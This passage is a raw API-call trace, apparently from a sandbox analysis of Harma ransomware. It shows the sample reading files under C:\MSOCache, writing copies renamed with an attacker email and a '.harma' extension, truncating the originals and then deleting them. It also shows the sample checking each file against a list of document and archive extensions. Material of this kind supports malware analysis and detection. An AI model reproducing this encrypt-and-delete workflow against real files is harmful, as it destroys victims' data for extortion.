lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0040.693] SetEndOfFile (hFile=0x1a4) returned 1 [0040.808] CloseHandle (hObject=0x1a4) returned 1 [0040.809] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.809] SetEndOfFile (hFile=0x1a0) returned 1 [0041.057] CloseHandle (hObject=0x1a0) returned 1 [0041.057] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0041.057] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0041.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0041.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0041.057] lstrlenW (lpString=".doc") returned 4 [0041.057] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.058] lstrlenW (lpString=".docx") returned 5 [0041.058] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0041.058] lstrlenW (lpString=".pdf") returned 4 [0041.058] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.058] lstrlenW (lpString=".xls") returned 4 [0041.058] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.058] lstrlenW (lpString=".xlsx") returned 5 [0041.058] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0041.058] lstrlenW (lpString=".ppt") returned 4 [0041.058] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0041.058] lstrlenW (lpString=".zip") returned 4 [0041.058] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.058] lstrlenW (lpString=".rar") returned 4 [0041.058] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.058] lstrlenW (lpString=".bz2") returned 4 [0041.058] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.058] lstrlenW (lpString=".7z") returned 3 [0041.058] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0041.058] lstrlenW (lpString=".dbf") returned 4 [0041.058] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0041.058] lstrlenW (lpString=".1cd") returned 4 [0041.058] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0041.058] lstrlenW (lpString=".jpg") returned 4 [0041.058] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0041.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0041.058] lstrlenW (lpString=".doc") returned 4 [0041.059] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.059] lstrlenW (lpString=".docx") returned 5 [0041.059] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0041.059] lstrlenW (lpString=".pdf") returned 4 [0041.059] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.059] lstrlenW (lpString=".xls") returned 4 [0041.059] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.059] lstrlenW (lpString=".xlsx") returned 5 [0041.059] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0041.059] lstrlenW (lpString=".ppt") returned 4 [0041.059] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0041.059] lstrlenW (lpString=".zip") returned 4 [0041.059] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.059] lstrlenW (lpString=".rar") returned 4 [0041.059] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.059] lstrlenW (lpString=".bz2") returned 4 [0041.059] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.059] lstrlenW (lpString=".7z") returned 3 [0041.059] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0041.059] lstrlenW (lpString=".dbf") returned 4 [0041.059] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0041.059] lstrlenW (lpString=".1cd") returned 4 [0041.059] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0041.059] lstrlenW (lpString=".jpg") returned 4 [0041.059] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.059] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0041.060] lstrlenW (lpString="AccessMUI.xml") returned 13 [0041.060] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0041.098] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1349) returned 1 [0041.098] CloseHandle (hObject=0x1a0) returned 1 [0041.135] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0041.135] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0041.135] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0041.136] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.136] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.136] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0041.136] GetLastError () returned 0x0 [0041.136] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x545, lpOverlapped=0x0) returned 1 [0041.190] WriteFile (in: hFile=0x188, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x550, lpOverlapped=0x0) returned 1 [0041.191] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0041.191] WriteFile (in: hFile=0x188, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xee, lpOverlapped=0x0) returned 1 [0041.191] SetEndOfFile (hFile=0x188) returned 1 [0041.191] CloseHandle (hObject=0x188) returned 1 [0041.196] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.196] SetEndOfFile (hFile=0x1a0) returned 1 [0041.197] CloseHandle (hObject=0x1a0) returned 1 [0041.197] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0041.197] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0041.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0041.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0041.198] lstrlenW (lpString=".doc") returned 4 [0041.198] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.198] lstrlenW (lpString=".docx") returned 5 [0041.198] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0041.198] lstrlenW (lpString=".pdf") returned 4 [0041.198] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.198] lstrlenW (lpString=".xls") returned 4 [0041.198] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.198] lstrlenW (lpString=".xlsx") returned 5 [0041.198] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0041.198] lstrlenW (lpString=".ppt") returned 4 [0041.198] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0041.198] lstrlenW (lpString=".zip") returned 4 [0041.198] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.198] lstrlenW (lpString=".rar") returned 4 [0041.198] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.198] lstrlenW (lpString=".bz2") returned 4 [0041.198] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.198] lstrlenW (lpString=".7z") returned 3 [0041.198] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0041.199] lstrlenW (lpString=".dbf") returned 4 [0041.199] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0041.199] lstrlenW (lpString=".1cd") returned 4 [0041.199] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0041.199] lstrlenW (lpString=".jpg") returned 4 [0041.199] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0041.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0041.199] lstrlenW (lpString=".doc") returned 4 [0041.199] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.199] lstrlenW (lpString=".docx") returned 5 [0041.199] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0041.199] lstrlenW (lpString=".pdf") returned 4 [0041.199] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.199] lstrlenW (lpString=".xls") returned 4 [0041.199] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.199] lstrlenW (lpString=".xlsx") returned 5 [0041.199] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0041.199] lstrlenW (lpString=".ppt") returned 4 [0041.199] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0041.199] lstrlenW (lpString=".zip") returned 4 [0041.199] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.199] lstrlenW (lpString=".rar") returned 4 [0041.200] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.200] lstrlenW (lpString=".bz2") returned 4 [0041.200] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.200] lstrlenW (lpString=".7z") returned 3 [0041.200] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0041.200] lstrlenW (lpString=".dbf") returned 4 [0041.200] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0041.200] lstrlenW (lpString=".1cd") returned 4 [0041.200] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0041.200] lstrlenW (lpString=".jpg") returned 4 [0041.200] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.200] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0041.200] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0041.200] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0041.213] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=16852) returned 1 [0041.214] CloseHandle (hObject=0x1a0) returned 1 [0041.239] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0041.239] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0041.239] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0041.239] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.239] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.239] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0041.240] GetLastError () returned 0x0 [0041.240] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x41d4, lpOverlapped=0x0) returned 1 [0041.243] WriteFile (in: hFile=0x1a4, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0041.245] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0041.245] WriteFile (in: hFile=0x1a4, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0041.245] SetEndOfFile (hFile=0x1a4) returned 1 [0041.245] CloseHandle (hObject=0x1a4) returned 1 [0041.250] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.250] SetEndOfFile (hFile=0x1a0) returned 1 [0041.251] CloseHandle (hObject=0x1a0) returned 1 [0041.251] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0041.252] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0041.252] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.252] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.252] lstrlenW (lpString=".doc") returned 4 [0041.252] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.252] lstrlenW (lpString=".docx") returned 5 [0041.252] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0041.252] lstrlenW (lpString=".pdf") returned 4 [0041.252] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.252] lstrlenW (lpString=".xls") returned 4 [0041.252] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.252] lstrlenW (lpString=".xlsx") returned 5 [0041.252] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0041.252] lstrlenW (lpString=".ppt") returned 4 [0041.252] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.253] lstrlenW (lpString=".zip") returned 4 [0041.253] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.253] lstrlenW (lpString=".rar") returned 4 [0041.253] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.253] lstrlenW (lpString=".bz2") returned 4 [0041.253] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.253] lstrlenW (lpString=".7z") returned 3 [0041.253] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.253] lstrlenW (lpString=".dbf") returned 4 [0041.253] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.253] lstrlenW (lpString=".1cd") returned 4 [0041.253] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.253] lstrlenW (lpString=".jpg") returned 4 [0041.253] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.253] lstrlenW (lpString=".doc") returned 4 [0041.253] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.253] lstrlenW (lpString=".docx") returned 5 [0041.253] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0041.254] lstrlenW (lpString=".pdf") returned 4 [0041.254] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.254] lstrlenW (lpString=".xls") returned 4 [0041.254] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.254] lstrlenW (lpString=".xlsx") returned 5 [0041.254] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0041.254] lstrlenW (lpString=".ppt") returned 4 [0041.254] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.254] lstrlenW (lpString=".zip") returned 4 [0041.254] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.254] lstrlenW (lpString=".rar") returned 4 [0041.254] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.254] lstrlenW (lpString=".bz2") returned 4 [0041.254] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.254] lstrlenW (lpString=".7z") returned 3 [0041.254] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.254] lstrlenW (lpString=".dbf") returned 4 [0041.254] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.254] lstrlenW (lpString=".1cd") returned 4 [0041.254] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.254] lstrlenW (lpString=".jpg") returned 4 [0041.255] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.255] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0041.255] lstrlenW (lpString="Setup.xml") returned 9 [0041.255] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.551] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=16683) returned 1 [0041.551] CloseHandle (hObject=0x19c) returned 1 [0041.551] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0041.552] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0041.552] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.552] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.552] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.552] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0041.553] 